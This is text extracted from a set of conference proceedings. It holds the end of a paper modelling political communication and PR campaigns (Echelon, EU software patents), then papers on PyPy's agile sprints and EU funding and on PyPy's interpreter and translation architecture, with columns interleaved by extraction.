knowledge, values, visions. Not only for people who are speaking the same language, but also for those who normally can not understand, but often have to decide. The actions against the bureaucracy of patent lawyers have proven that a community can communicate values and form the environment. It has also brought up a new picture of hactivity: The coding on unvirtual realities. 3 Some definitions Reality is the mindset a person lives in. As individuals and societies differ, so do their realities. A reality is represented by a set of items. 1 http://www.dilbert.com Instead of making our living by cutting each others hair, we now sell knowledge to each other. 3 Note that licensing is a top issue in the foreign trade balance of the US. 4 Theft is taking, what is not yours. The discussion about ”Intellectual Property” is simply one about how much knowledge from the society we allow to be stolen by companies, so that the public can buy it back. The good news: Then we know how much worth it was. 5 EU-Directives on ”Intellectual property protection” and ”data retention”. 6 What is TCPA more than Sonys CD trojan, protected by cryptography? 7 In memoriam Tanja Nolte-Berndel. [2] 2 3 | 258 MESSAGE GENERATION AT THE INFO LAYER Figure 1: The reality puzzles Items are values, thoughts, rules, ... and the weights a person applies on them. In that model we use those items as the smallest entities to work with. Items are bound together. They react to each other like neurons, but it is much easier to think about them as pieces in a puzzle. They have to fit to their neighbors. Note: This does not mean that there are no contradictions, but we’ll keep our model simple. Communication always addresses some of this items. It is about exchanging information about this items and the values applied to them. The values are like weights applied to that items. The more weight an item has, the less easier it is for that person to change that piece. 3.1 Communication: Messages and Transmissions A transmission is consists of the information one partner sends to another, hoping that it will create some foreseeable effect. Messages are requests to either present items, or change items. Transmissions can have from zero to many messages. In private communication, transmissions will not get ignored when they have no message. Instead of this, the receiver will, most probably, try to invent at least one. 3.2 Introduction Our model shows that messages are evaluated in context to others and to already learned items. The acceptance of Echolon being real, and not just rumors, needed much context building. The hard fact that the antennas in Bad Aibling are not just for watching television, was clear from the beginning, but it needed a lot more, before the message ”Echelon is the US spying on the EU citizens”” finally was acceptable for European politicians: A. whereas the existence of a global system for intercepting communications, operating by means of cooperation proportionate to their capabilities among the US, the UK, Canada, Australia and New Zealand under the UKUSA Agreement, is no longer in doubt; whereas it seems likely, in view of the evidence and the consistent pattern of statements from a very wide range of individuals and organizations, including American sources, that its name is in fact ECHELON, although this is a relatively minor detail, B. whereas there can now be no doubt that the purpose of the system is to ntercept, at the very least, private and commercial communications, and not military communications, although the analysis carried out in the report has revealed that the technical capabilities of the system are probably not nearly as extensive as some sections of the media had assumed, C. whereas, therefore, it is surprising, not to say worrying, that many senior Community figures, including European Commissioners, who gave evidence to the 4 259 | Temporary Committee claimed to be unaware of this phenomenon, [4] The quote gives three hints: First of all Echelon was in doubt, and the investigations led to the result that its existence could not longer be declined. The neat US spying on EU citizens was far away from the reality of European politics. Second, the repeated reporting about Echelon in the media was helpful, but the overestimation of its capabilities might have caused negative effects. Third, the commission had no clue. That one is no real news. 4 Our model Figure 2: The item should go here The above can be represented in our model. The European politicians had no reason to believe that such a thing like Echelon existed. The information did not fit into the reality: Until the two blue items, representing some facts are not replaced, the fact that such a thing like Echelon exists does not fit (at the black spot) into the reality. Figure 3: Preparing the environment first To anchor our piece of reality the blue facts have to be addressed and modified in the communication process. After that, the item will fit and allow following the white rabbit. Accompanied by two changes (green pieces) the final message gets through and has a comfortable place in that reality. The predecessors only require small changes. If these pieces fit better into the reality than the existing pieces or if they are hardly deniable facts it would be perfect.. 5 Conclusion When communicating, the reality of the communication partners plays a vital role for the outcome. But complicating that process, in communication between members of different societies, people tend to use the messages they are used to, to address items they know. The more the realities differ, the harder it is to communicate. Respecting the details of the reality of others can improve the communication results. In political discussions communication is not two-ways but many parties are involved. It is interesting 5 | 260 MESSAGE GENERATION AT THE INFO LAYER to observe that people tend to stick to their own reality, or to the reality of their society when they communicate. A reader assumes that a content is relevant and makes sense. The less contradictions the messages have in the whole text and for the experiences and knowledge of the reader, the easier it is red. The easier the text is red, the more worth the reader applies to the messages it contains. 5.1 Messages and Items For our model, every transmission is a set of messages that requests information about items and values or requests the change of these. Every message addresses one item and its values. It is important not to confuse messages with text. The sentence I want to have fun can address completely different items and values when said wearing either a three piece suit or just underwear with tiger stripes. At least the latter needs ome other items and values already set to lead to predictable results. 5.2 Primary Message Primary messages are those first visible. Like the headline in news they dominate the transmission. In a single transmission they have to carry the payload. 5.3 Secondary Message It is almost impossible to communicate without sending secondary messages. They range from the writing style in news to clothing. Their normal use is to support the primary message, but in campaigns it can make sense to put the real payload in the secondary message, using a nearby irrelevant primary message just as medium of transport. Let us take clothing as an example. Since ancient times, clothing has been used to show affiliation or dissociation to a group. That’s why individualists have to uniform, the more public dress codes vanish. Clothing is a side channel. 5.4 Subliminals These are used quite often in marketing campaigns. Trying to slip beyond recognition sounds promising, but subliminals have to be vague which makes them not very useful for communication. Besides that it is important not to send contra productive subliminals. 5.5 Messages and Items It is obvious that precision in targeting the correct items and values would be an enhancement for both parties as they could develop a common understanding much faster, but it brings in another problem: it is impossible to achieve. This is just a limited model. It is only possible to draw near enough so that messages are understood correctly and values can be transferred while being unsharp enough to overcome the differences of the realities. 5.6 Maintaining lies - Total Cost of Ownership We have seen that information is evaluated in its context. This complicates the maintenance of lies and increases the cost of lies. This increase sometimes is the key for winning or loosing. Software patents came out of the harmonization between the European patent office (EPO), the US and Japan offices. The realization of a world wide harmonized patent system would have 6 261 | brought strong arguments into a political debate, but being opposed for violating the European patent convention the EPO made a major mistake: Trying to market the European directive, which would have codified its practice, as the exact opposite and as necessary to prevent from software patents and ”drifting towards the US”, the EPO had not only to maintain that lie, but was also unable to use the original positive argumentation towards a unified patent system. 6 Down the rabbit hole Based on that model, the preparation for communication can be structured into strategic tasks. 6.1 The profile Messages never stand for themselves. They are evaluated in context and one of the most important contexts is the origin of the message. Preparing a clear and useful image and some basic outlines provides many improvements. • Minimal basics to allow a fast orientation for the communication partners. • Easy checks to prevent sending counterproductive messages • Understanding the communication scheme of the others allows the translation into their language. 6.2 Minimal basics They are called the basic Ws: Who (are you)? What (do you want)? Why (do you want that)? 6.3 Search for mantras The mantra is a basic check that will be applied to all messages. It is a filter method. It prevents from sending wrong subliminals and shows weaknesses in messages. It also keeps messages in line over a longer period of time. The attributes should be chosen carefully, as they represent the items and values of the reality shown to the outside. They should reflect reality. It is also considered helpful to use humor. • Choosing the basic stereotype: They range from hero in shining armor to poor and getting hurt. Mostly it will be a positive role, but never such an extreme. • Choosing the behavior: The virtual character chosen above will show a different behavior to different communication partners, or when writing about different topics. • Choosing the viewpoints: What is the viewpoint? What is considered good, bad, evil? • Choosing the mood: Angry about the topic? Frightened? Amused? • These properties should now merge into mantras. Every mantra is a simple set of questions for one transmission channel. Questions like: Are this the words of the hero in shining armor? - Who is the winner in the text? Who is on the loose at least at the end? Is the mood expressed? 6.4 Private investigations The communication between members of different realities leads to the situation that one of them will feel unsure. One key to effective communication is to know keywords, key phrases and argumentation lines of the others. Different societies use different communication phrases. Giving 7 | 262 MESSAGE GENERATION AT THE INFO LAYER thoughts about the communication of others gives a first glance about how to address items and values in their puzzle. Bad news: This has to be done carefully and can require a lot of work. In political debates it means nothing less than fighting a battle on foreign ground. In the worst case more than one. The debate about software patents in the EU clearly showed that the computing society is able to counter a threat and to be well up on political and on juristical ground. At the high tide of the dispute many former ”computer geeks” had excellent knowledge of the European software patent law embarrassing most lawyers and many WIPO representatives. 6.5 Usage: Building it all together for PR 6.5.1 Building trust As in computer communication the goal is to transport the content, established trust is needed. This is where the first preparation steps help. The minimal basics help to provide a quick orientation for others. Friend or opponent? What are the interests? Over time the mantra helps maintaining style and orientation even facing the rollercoaster of political disputes. Without restricting the actual texts too much the basic checks of the mantras make sure that schizophrenic behavior, which is often seen in campaigns that have to deal with rapid changes, is not an issue. The clear face together with a stable baseline in communication help to build the needed trust. Additional adaptations, in speech, behavior or clothing are another way to strengthen trust by making communication more comfortable to others. 6.5.2 Messages and Campaigns Dealing with the communication and the reality of others has two major advantages: Understanding the position and values of the persons the message is directed to and the ability to translate a message into the coding of another reality. The model has also shown, that it is not about getting the one final truth through with force but about preparing the environment. The camel and the needle’s eye: no problem with a big hole. 6.5.3 Primary and secondary messages It is now clear that the messages in one transmissions can point at different items. Early PR in a campaign can focus on surrounding items and values just preparing for the main message or advertise it in secondary messages. Addressing a set of items and values is also a method of binding them together, making opposition harder The messages in one transmission can also target different realities. PR about the WIPO is a primary example because there is, at least now, noone really listening there. Secondary messages in such a PR should target existing audience and there is no sense in coding anything for the reality of the WIPO, which would be too wicked anyway. 6.5.4 Advanced Usage Advanced usage goes beyond normal communication. What about the opponents? What is their reality? How do they express it? Most probably they will use words and phrases of their reality. Are they prepared to discuss items outside their own reality? A major example: Microsoft. The software giant was, and mostly still is, completely unprepared for a political discussion. Unaware of that aspects, the microsofties try to respond to the challenges of the information age with answers from the past accompanied with pressure and lobbying. Of course they get caught. A way that leads them straight into the role of the ignorant and bad guy. 8 263 | 6.6 Recipe for a message First a clear vision of the message is needed. What is the content? What is the format? There are some standard formats for messages [1] . The content needs some checking too, and again there are 6.6.1 Magical Ws • What happened or has to be done. • Who is affected, has to do something. The more personal, the better. • When did or will it happen. • Where • Who said? Where does the information come from. A note on journalism: journalistic work is oriented, knowingly or not, on the news value of a subject area: Most important value is the ”negative potential”. [3] But the more negative a message is, the less likely it will change something in reality. Humans are used to negative messages, as they are to PR messages, so even if very bad news catch short media attention, in most cases a solid text without too much excitement does a better job. 6.6.2 Lead and Text • The lead is the headline. Sometimes a few lines can be put besides the headline for clarification. Put all what has to be said comes into the lead. People who read much decide on the lead if they read a text or ignore it. • The first chapter: Do not expect people, which are not very interested in the topic, to read further than the first chapter. • Other chapters: Only clarify things here, or tease future messages. Teasing future messages basically shows that there is more to come. Because people are not expected to read further than up to the end of the first chapter it depends on the goal where to set such teasers. Teasing below the first chapters can be used to give those a benefit that read further. If the subject is too complicated to be dealt with in the lead, then there are basically two possibilities: • Writing an article and publishing a message about the article, its author, why he wrote it... • Splitting it up into several messages. 6.6.3 Testing Now the text can be tested and optimized: • Basic checks: Who? What? Why? • Mantra checking: Does the message comply to the chosen mantra? Does it fit into the chosen role? Every sentence? • Substitution: What phrases can be replaced with phrases used by the receiver of the message. • Optimization: What additional messages can be stuffed in with small variations? 9 | 264 MESSAGE GENERATION AT THE INFO LAYER References [1] Dr. Nicole Bracker. Journalistisches schreiben 1-3. Fachjournalist, 2002. [2] CCC Cologne. http://koeln.ccc.de/archiv/drt/gravenreuth-faq.html. 1999. [3] Dipl.-Journ Kurt Neubert. Fachjournalist, 2002. Krisenkommunikation oder kommunikation in der krise? [4] European Parliament. European parliament resolution on the existence of a global system for the interception of private and commercial communications (echelon interception system). 2001. [5] Paul Watzlawick, Janet H. Beavin, Don D. Jackson. Menschliche Kommunikation. Formen, Störungen, Paradoxien. Huber, Bern, 2000. 10 265 | Open Source, EU funding and Agile Methods Sprint methodology in funded OSS projects Beatrice Düring, Holger Krekel 267 | Open Source, EU Funding and Agile Methods Holger Krekel merlinux GmbH hpk@merlinux.de Bea Düring Change Maker bea@changemaker.nu Abstract off together in a room and focus on building a particular subsystem”. Sprinting up to a week became the initial driving factor in developing the code base and the community/people around it. The early PyPy sprints were organised by core developers together with local Pythonistas in Louvain La Neuve, Gothenburg, Vilnius and Amsterdam. Sprints gave the opportunity to both help, participate and influence the ideas within PyPy. Sprints are actually not part of the traditional Agile portfolio of techniques, the closest thing to it comes from Scrum2 who names the 30 days long programming iterations “sprints”, covering a certain increment. With the Scrum method, considerable effort is put into performing the sprint planning as well as creating and documenting the “sprint backlog” which is then feedbacked into the “Product backlog”. The sprint ends with a “sprint review” - an informal planning session in which the team decides on upcoming work. There are also techniques in which the team looks at ways to improve the development methodology and future sprints. To our knowledge, open-source projects these days are sprinting for at most a week which reflects the fact that many contributors give their time and even money to gather and work together. This is different from having fully funded people from one company working together. Why did PyPy choose sprinting as a key technique? It is a method that fits distributed teams well because it gets the team focused around visible challenging goals while working collarobatively (pair-programming, status meetings, discussions etc) as well as acceleratedly (short increments and tasks, “doing” and testing instead of long startups of planning and requirement gathering). This means that most of the time a sprint is a great way of getting results and getting new people aquainted - a good method for dissemination of knowledge and learning within the team. A key insight, worthwhile for other EU-projects to ponder, is how an agile process like sprinting is much more suited for creative work between groups of dis- This paper walks through different aspects of agility within the open-source PyPy project1 . Agility has played a key role from the beginning. The PyPy project started from some mails between a few people, quickly had a first one-week meeting, a “sprint”, from where it evolved into a structure that was able to carry out a research project - and got accepted by the European Union. During the course, two companies were founded. They are now growing and employing key developers. PyPy’s technical development is strongly rooted in open-source contexts and this adds another agility aspect - free communication, co-operation and exchange with other people and projects. The process of obtaining EU-funding is a continous challenge to the community-rooted PyPy project; how to connect agile open source culture with formal structures, interaction with requirements like planning, budget estimation, work distribution and resource tracking. After our first “funded” year we are reasonably happy with the balance we strike between organisations and EU funding on the one and the developers driving the technical aspects of the project on the other side. 1 Agility in Technical Development and Organisation 1.1 Agile approaches: sprinting PyPy first started during a one-week meeting, a “sprint”, held at Trillke-Gut in Hildesheim February 2003. The sprint was inspired by practices used by other Python projects such as Zope3. Originally the sprint methodology used in the Python community grew from practices applied by the Zope Corporation. Their definition of a sprint was: “two-day or three-day focused development session, in which developers pair 1 http://codespeak.net/pypy 1 | 268 OPEN SOURCE, EU FUNDING AND AGILE METHODS tributed people. Traditional software development, as well as traditional project management techniques have a tendency to hinder creativity due to the inbuilt over-structured, segmented and control-oriented approach which in most cases ends in less quality when results are being measured. 1.2 community - welcoming everyone to participate. Apart from rewriting a practical programming language within itself, PyPy also evolved a number of development tools useful for writing tests and glueing things together. PyPy’s testing tool (“py.test”) is used separately and evolves on its own by now. Agile approaches: test-driven de- 1.3 velopment Agility: Open Communication and organisation Test-driven development is a technical cornerstone for programming efficiently together in a distributed team. Seen from the Agile Manifesto perspective it is right up there as one of the key elements since it puts focus on producing working code, rather than diagrams, plans and papers (and then faulty software). Seen from an Open Source community perspective it is a vitalising strategy - especially in combination with a transparent open process in which anyone interested can participate - if only for just a few days at a sprint. One of the key problems identified by Frederick P. Brooks in the latest version of “The Mythical Man-Month”3 (unfortunately still very actual today) is estimating correct amount of time for communication and testing/debugging. Automated testing, rather barrier-free communication and strict version tracking helps with that problem, especially in the hands of a team sprinting its way through the Python Another agility aspect relates to transparent and open communication within the project. Only very few (EU-contract related) documents are access restricted, everything else is freely available. There are no hierarchies for commit rights. In fact, the server also hosts a couple of other projects and all projects share commit rights (“Coding Wiki”). Announcing Sprints, Releases and development goals lead to an increasing amount of people subscribing to mailing lists or participating in development. Moreover, the PyPy developers implemented a method with weekly 30-minute IRC chat meetings where topics were briefly discussed, delegated or decided upon. Those meetings are open to all active developers and usually do not touch upon internal EU matters much except that funded developers keep EU goals more in mind than others. Minutes of these weekly developer meetings get archived and posted to 2“Agile project management with Scrum”, Ken Schwaber, Microsoft Professional 2004, p. 8-9 3“The mythical man-month, anniversary edition”, Frederick P. Brooks, Jr, Addison-Wesley 2004 2 269 | 1.8 Lines of Code in the pypy subtree x1e5 0.6 Heidelberg Paris PyPy 0.8.0 0.8 PyPy 0.7.0 1.0 PyPy 0.6 & 0.6.1 lines of code 1.2 Hildesheim 1.4 Europython/Gothenburg Leysin Vilnius 1.6 PyCon/Washington lines of code lines of testcode 0.4 0.2 0 M ar 5 20 05 Ap r 20 05 M ay 20 05 Ju n 20 05 Ju l2 00 5 Au g 20 05 Se p 20 05 O ct 20 05 N ov 20 05 D ec 20 05 Ja n 20 06 20 05 Fe b n Ja 20 04 04 D ec 20 20 ov N O ct 20 04 0.0 studied the phenomen (FLOSS-POLS, FLOSS) - its organization, business models and licensings. A few other funded software projects used Open Source in their work as tools (languages and applications). There was no previous experience of an Open Source community based project making a bid for funding. The areas in the 6th Framework programme (second call) fit very well with the objectives of PyPy. The idea of strengthening the European Software development companies and businesses with supporting an open source language implementation was new but appealing to the EU. However, being an Open Source project wasn´t enough. The challenges and the idea of a flexible, configurable “translator” or “compiler” met the research targets of the FP6, as well as trying out and documenting the agile methodology being used. It is interesting to note that most of today’s computer language research and development happens in the US. In short, we argued that EU funding allowed the project to go from reaching a critical mass and position to continue to evolve from there, and that it would help European Organisations to make some ground. Acting on this strategy proved to be a more difficult task. The entire proposal and negotiation process took over a year (Autumn 2003 until November the development list. A rather recent invention is the postings of “This week in PyPy”. The text is a summary of what is going on in the lively IRC development #pypy channel - main place of technical coordination. 2 How and why EU funding? Mid 2003 the idea of trying to get EU-funding for the project was born. It became clear that the project had an arbitrarily large scale and that receiving some funding would dramatically increase the pace and seriousness of the project - because funded developers can dedicate more of their time to the project. The involved developers and people stretched outside of the Open Source ecologies to try to gather as much information and contacts as possible in order to answer the question: “Should we go for it?” to which the answer quickly became “Let’s see how far we get!”. 2.1 Making things fit with EU perspectives There had been a growing interest from the European Commission, IST division, to look closer at the Open Source world and its achievements. Several funded research projects in the 5th framework programme 3 | 270 OPEN SOURCE, EU FUNDING AND AGILE METHODS number of subscribers 300 Paris PyPy 0.8.0 100 PyPy 0.7.0 Europython/Gothenburg Hildesheim Heidelberg PyCon/Washington PyPy 0.6 & 0.6.1 150 Leysin Vilnius Amsterdam Europython/Gothenburg pypy-dev 200 Gothenburg LovainLaNeuve 250 Hildesheim pypy-dev pypy-svn 50 D ec Ja 2 0 Fen 2 02 0 M b 2 03 a 0 Ap r 2 0 3 0 M r 2 03 a 0 Ju y 2 03 n 0 Ju 20 03 Au l 2 0 3 0 Se g 2 0 3 O p 2 00 3 c 0 N t 2 03 o 0 D v 2 03 ec 0 Ja 2 03 0 Fen 2 03 0 M b 2 04 a 0 Ap r 2 04 0 M r 2 04 a 0 Ju y 2 04 n 0 Ju 20 04 Au l 2 0 4 0 Se g 2 04 Op 2 004 c 0 N t 2 04 o 0 D v 2 04 ec 0 Ja 20 04 Fen 2 04 0 M b 2 05 a 0 Ap r 2 05 0 M r 2 05 a 0 Ju y 2 05 n 0 Ju 20 05 Au l 2 05 0 Se g 2 05 Op 2 005 c 0 N t 2 05 o 0 D v 2 05 ec 0 Ja 2 05 n 00 20 5 06 0 quirements. In practice this leads to current considerations of developers to shift private money between them in order to circumvent the current problems with implementing an agile model within the EU contract framing. 2004).A proper description of planned work, necessary to satisfy formal requirements, had not previously been part of the development focus and both the EU and the parties involved had to adapt to the situation. Yet, drafting the high-level requirements (in total 14 workpackages and 58 deliverables) was done using the same version-control/open-communication based work style, including evolving the proposal at sprints. Writing the proposal and specifying according objectives on a higher level has proved to be generally useful for clarifying goals on a longer term. It also helps others to understand the project better. Unfortunately the negotiations with the EU got stuck in organizational limbo and the project is still suffering from the effects of this even today. The goal of funding contributors especially coming to sprints was originally based on a non-profit association. This solution wasn’t seen as realistic or feasible by the EU although we think it remains a viable approach for the future. During negotiations, we got to an alternative solution which had a few drawbacks: contributors have to become Contract Partners within the EU-level Consortium (which is by itself not difficult) and can then at least claim travel and accomodation costs when attending sprints. However, this construction does not allow them to get paid for work time and also has some formal re- 2.2 Seven Organisations / The consortium The guiding idea for receiving funding is to have organisations in which key developers and other parties are employed. Two companies out of the seven organisations in the initial consortium were funded during the EU negotiation process. what first might have felt as an EU-related obstacle became an opportunity, but with some overhead like legal and organizational responsibilities. Other adjustments and recruiting companies with previous EU project experiences took place. There also is one company involved quite unrelated to the previous developer work but rather focused on process management and designing learning processes with a background from the Chaospilot school in Aarhus, Denmark. When creating the formal consortium of seven partners new cultures and perspectives were mixed with the strong collaborative Open Source core team, adding new complexities in communication and 4 271 | of sprinting, evaluating feedback from sprint participants. Maybe the implementation within the PyPy team is slowly conforming to the Scrum standard of sprinting, but not as a conscious effort? cooperation. Getting the new “playmates” to adopt the vision, culture and spirit of the original idea and holding true to it during the work on the proposal and negotiation process was a challenge indeed. The formal project organization required by the EU imposed more structure on the previous more free-floating agile process. Roles and responsibilities where staked out, conforming with the requirements of the roles but delegating as much as possible of the responsibilities and decision-making to the core developers. The strategy was to keep “conceptual integrity” (Brooks) of the vision and the idea in the hands of the core developers. A somewhat negative result was the added workload and responsibility on developers regarding EU related work. It is not too surprising that the consortium with its member organisation now employs a version-control/review based scheme regarding EU documents reflecting the technical development approaches. It remains a challenge for all partners of the consortium, universities and companies alike, to connect an ongoing medium-scale open-source project with EU regulations and requirements - not to speak of the fact that companies need to fund 50% of the costs themselves. It is, in fact, too early to judge the overall success of our approaches although we are confident that things work out reasonably well. 2.3 2.4 For a diverse group of organisations and people, agility is helpful at various levels: you cannot make all-encompassing plans and hope to statically follow them and succeed. New developments, twists and opportunities evolve all the time. Our experience with evolving PyPy from a loose Open Source project to a partially funded EU research project shows the following: • what first seemed like too diverse interests and views, impossible to tailor into a single project, was instead a fruitful mix of diversities. The challenge is to manage these diversities and channel them into constructive team efforts. Aiming for homogenity is the real threat. • what first seemed like unbeatable odds and too big obstacles sometimes even turned into new possibilities. The challenge is to maintain an atmosphere in which a team can act on those and within short timeframes of opportunities. Change is inevitable - how you handle it is the real challenge. challenges: balancing community interests with EU requirements • there are many other projects and organisations who are heading in similar directions of trying to connect and evolve agile open source strategies with business matters. Emerging models for developers distributed between different countries allows people with special interests to effectively work together and learn from each other. The nature of sprints changed when EU funding started. The need to meet milestones of promised deliverables and the goal to keep an open sprint process, still welcoming newcomers into the world of Pypy, made the sprints longer (at least 7 days with a break day in the middle) but also changed the nature of the sprints. The team started to distuingish between sprints open for all to attend, without any prior PyPy experience, and sprints requiring earlier PyPy involvement. Tutorials, start up planning meetings as well as daily status meetings evolved, the latest additions to the sprints are closing planning meetings (planning the work between sprints) and work-groups - a version of pair-programming in groups. Some other effects of sprinting within the EUstructure is that the sprint becomes a forum for nondevelopment work - coordinating and tracking the project. The challenge here is not affecting the main work and “disturbing” visiting developers with EUrelated work. It could also be argued that the prolonged sprints could possibly make it more difficult for non consortium members to attend the full time, disturbing other engagements etc. The project continues to try to adapt the method Concluding - the cumulative effects of an agile, open and dynamic team process combined with a market and curious first adopters facilitates agile business. A positive result is that a lot of people within the PyPy context found enjoyable jobs and there now already is evolving commercial interest despite the still early stages of the project - mostly from US companies though ... why european companies, especially larger ones, appear to prefer taking rather naive views on agile open-source development (“great, it’s cheaper, no license fees!”) is another interesting topic. 5 | 272 Managing diversities: agile business PyPy - the new Python implementation on the block Language/VM R&D, whole program type inference, translation to low level backends, fun Armin Rigo, Carl Friedrich Bolz, Holger Krekel 273 | PyPy - The new Python Implemention on the Block 22C3 Proceedings Carl Friedrich Bolz merlinux GmbH cfbolz@gmx.de Abstract dent modules with clearly defined and well tested API’s. This eases reuse and allows experimenting with multiple implementations of specific features. Later in the project we will introduce optimizations, following the ideas of Psyco4 , a Just in Time Specializer, that should make PyPy run Python programs faster than CPython. Extensions that increase the expressive power are also planned. For instance, we will include the ideas of Stackless5 , which moves the execution frames off the stack into heap space, allowing for massive parallellism. PyPy1 is an implementation of the Python2 programming language written in Python itself, flexible and easy to experiment with. Our long-term goals are to target a large variety of platforms, small and large, by providing a compiler toolsuite that can produce custom Python versions. Platform, memory and threading models are to become aspects of the translation process - as opposed to encoding low level details into the language implementation itself. Eventually, dynamic optimization techniques - implemented as another translation aspect - should become robust against language changes. 1 2 PyPy - Meta Goals PyPy is not only about writing another Python interpreter. Traditionally, interpreters are written in a target platform language like C/Posix, Java or C#. Each such interpreter provides a “mapping” from application source code to the target environment. One of the goals of the “all-encompassing” environments, like the .NET framework and to some extent the Java virtual machine, is to provide standardized and higher level functionalities to language implementors. This reduces the burden of having to write and maintain many interpreters or compilers. PyPy is experimenting with a different approach. We are not writing a Python interpreter for a specific target platform. We have written a Python interpreter in Python, with as few references as possible to low-level details. (Because of the nature of Python, this is already a complicated task, although not as complicated as writing it in - say - C.) Then we use this as a “language specification” and manipulate it to produce the more traditional interpreters that we want. In the above PyPy - an implementation of Python in Python It has become a tradition in the development of computer languages to implement each language in itself. This serves many purposes. By doing so, you demonstrate the versatility of the language and its applicability for large projects. Writing compilers and interpreters are among the most complex endeavours in software development. An important aspect of implementing Python in Python is the high level of abstraction and compactness of the language. This allows an implementation that is, in some respects, easier to understand and play with than the one written in C (referred to throughout the PyPy documentation and source as “CPython”3 ). Another central idea in PyPy is building the implementation in the form of a number of indepen1 http://codespeak.net/pypy 4 http://psyco.sourceforge.net 2 http://docs.python.org/ref 5 http://stackless.com 3 http://www.python.org 1 | 274 Armin Rigo Heinrich-Heine-Universität Düsseldorf arigo@tunes.org Holger Krekel merlinux GmbH hpk@merlinux.de PYPY - THE NEW PYTHON IMPLEMENTATION ON THE BLOCK ming7 , the architecture of PyPy has evolved over time and continues to evolve. Nevertheless, the high level architecture is now clear. There are two independent basic subsystems: the Standard Interpreter and the Translation Process. sense, we are generating the concrete “mappings” of Python into lower-level target platforms. So far (autumn 2005), we have already succeeded in turning this “language specification” into reasonably efficient C-level code that performs basically the same job as CPython. Memory management is inserted during this translation process. It can be configured to use reference counting or not; thus we have already achieved two very different mappings of application Python code over C/Posix. We have also successfully translated our Python interpreter into LLVM6 code, and we are working on targeting higher-level environments like Java and Squeak. In some senses, PyPy project’s central component is not its interpreter implementation, but its configurable translator. We think it provides a good way to avoid writing n * m * o interpreters for n dynamic languages and m platforms with o crucial design decisions. PyPy aims at having any one of these parameters changeable independently from each other: 3.1 The Standard Interpreter The standard interpreter is the subsystem implementing the Python language. It is divided into two components: • the bytecode interpreter which is responsible for interpreting code objects and implementing bytecodes, • the standard object space which implements creating, accessing and modifying application level objects. Note that the standard interpreter can run fine on top of CPython if one is willing to pay the performance penalty for double-interpretation. The bytecode interpreter is the part that interprets the compact bytecode format produced from user Python sources by a preprocessing phase, the bytecode compiler. The bytecode compiler itself is implemented as a chain of flexible passes (tokenizer, lexer, parser, abstract syntax tree builder, bytecode generator). The bytecode interpreter then does its work by delegating all actual manipulation of user objects to the object space. The latter can be thought of as the library of built-in types. It defines the implementation of the user objects, like integers and lists, as well as the operations between them, like addition or truth-value-testing. This division between bytecode interpreter and object space is very important, as it gives a lot of flexibility. It is possible to use different object spaces to get different behaviours of the Python objects. Using a special object space is also an important technique for our translation process. • we can modify or replace the language we interpret and just regenerate a concrete interpreter for each target; • we can write new translator back-ends to target new platforms; • we can tweak the translation process to produce low-level code based on different models and tradeoffs. By contrast, a standardized target environment - say .NET - enforces m=1 as far as it is concerned. This helps making o a bit smaller by providing a higher-level base to build upon. Still, we believe that enforcing the use of one common environment is not necessary. PyPy’s goal is to give weight to this claim - at least as far as language implementation is concerned - showing an approach to the n * m * o problem that does not rely on standardization. This is the meta-goal ; a more concrete goal worth mentioning at this point is that language 3.2 The Translation Process specifications can be used to generate cool stuff in addition to traditional interpreters - e.g. Just-In- The translation process aims at producing a different (low-level) representation of our standard inTime compilers. terpreter. The translation process is done in four steps: 3 Higher level picture • producing a flow graph representation of the standard interpreter. A combination of the bytecode interpreter and a flow object space As you would expect from a project implemented using ideas from the world of Extreme Program- 7 http://www.extremeprogramming.com/ 6 http://llvm.cs.uiuc.edu/ 2 275 | performs abstract interpretation to record the of RPython: RPython code is restricted in such a flow of objects and execution throughout a way that the Annotator is able to infer consistent types. How much dynamism we allow in RPython Python program into such a flow graph; depends on, and is restricted by, the Flow Object • the annotator which performs type inference Space and the Annotator implementation. The on the flow graph; more we can improve this translation phase, the • the typer which, based on the type annota- more dynamism we can allow. In some cases, howtions, turns the flow graph into one using only ever, it is more feasible and practical to just get rid low-level operations that fit the model of the of some of the dynamism we use in our interpreter level code. It is mainly because of this trade-off sittarget platform; uation that the definition of RPython has shifted • the code generator which translates the re- over time. Although the Annotator is pretty stasulting flow graph into another language, cur- ble now and able to process the whole of PyPy, the RPython definition will probably continue to shift rently C, LLVM, Javascript (experimental). marginally as we improve it. A more complete description of the phases of The newest piece of this puzzle is the Typer, this process is out of the scope of the present in- which inputs the high-level types inferred by the troduction. We will only give a short overview in Annotator and uses them to modify the flow graph the sequel. in-place to replace its operations with low-level ones, directly manipulating low-level values and structures. 4 RPython, the Flow Object data The actual low-level code is emitted by “visiting” Space and translation the type-annotated flow graph after the typer introduced low-level operations. Currently we have One of PyPy’s now achieved objectives is to enable a C-producing backend, and an LLVM-producing translation of our bytecode interpreter and stan- backend. The former also accepts non-annotated dard object space into a lower-level language. In or partially-annotated graphs, which allow us to order for our translation and type inference mech- test it on a larger class of programs than what the anisms to work effectively, we need to restrict the Annotator can (or ever will) fully process. The dynamism of our interpreter-level Python code at complete translation process is described in more some point. However, in the start-up phase, we detail in the documentation section on the PyPy are completely free to use all kinds of powerful homepage8 . Python constructs, including metaclasses and execution of dynamically constructed strings. However, when the initialization phase finishes, all code 5 Status of the implementaobjects involved need to adhere to a more static tion (Nov 2005) subset of Python: Restricted Python, also known as RPython. With the pypy-0.8.0 release we have integrated our The Flow Object Space then, with the help of Abstract Syntax Tree (AST) compiler with the rest our bytecode interpreter, works through those ini- of PyPy. The compiler gets translated with the rest tialized RPython code objects. The result of this to a static self-contained version of the standard abstract interpretation is a flow graph: yet another interpreter. Like with 0.7.0 this version is very representation of a Python program, but one which compliant9 to CPython 2.4.1 but you cannot run is suitable for applying translation and type infer- many existing programs on it yet because we are ence techniques. The nodes of the graph are basic still missing a number of C-modules like socket or blocks consisting of Object Space operations, flow- support for process creation. ing of values, and an exitswitch to one, two or mulThe self-contained PyPy version (singletiple links which connect each basic block to other threaded and using the Boehm-Demers-Weiser basic blocks. garbage collector10 ) now runs around 10-20 times The flow graphs are fed as input into the An- slower than CPython, i.e. around 10 times faster notator. The Annotator, given entry point types, than 0.7.0. This is the result of optimizations, infers the types of values that flow through the pro8 http://codespeak.net/pypy gram variables. This is the core of the definition 3 | 276 PYPY - THE NEW PYTHON IMPLEMENTATION ON THE BLOCK        $                         !                   "    ###          "               overview of the translation process 4 277 | adding short cuts for some common paths in our interpreter and adding relatively straight forward optimising transforms to our tool chain, like inlining paired with simple escape analysis to remove unnecessary heap allocations. We still have some way to go. However we expect that most of our speed will come from the Just-In-Time compiler - work which we have barely started yet. With the 0.8.0 release the “Thunk Object Space” can also be translated. This is a module that proxies the 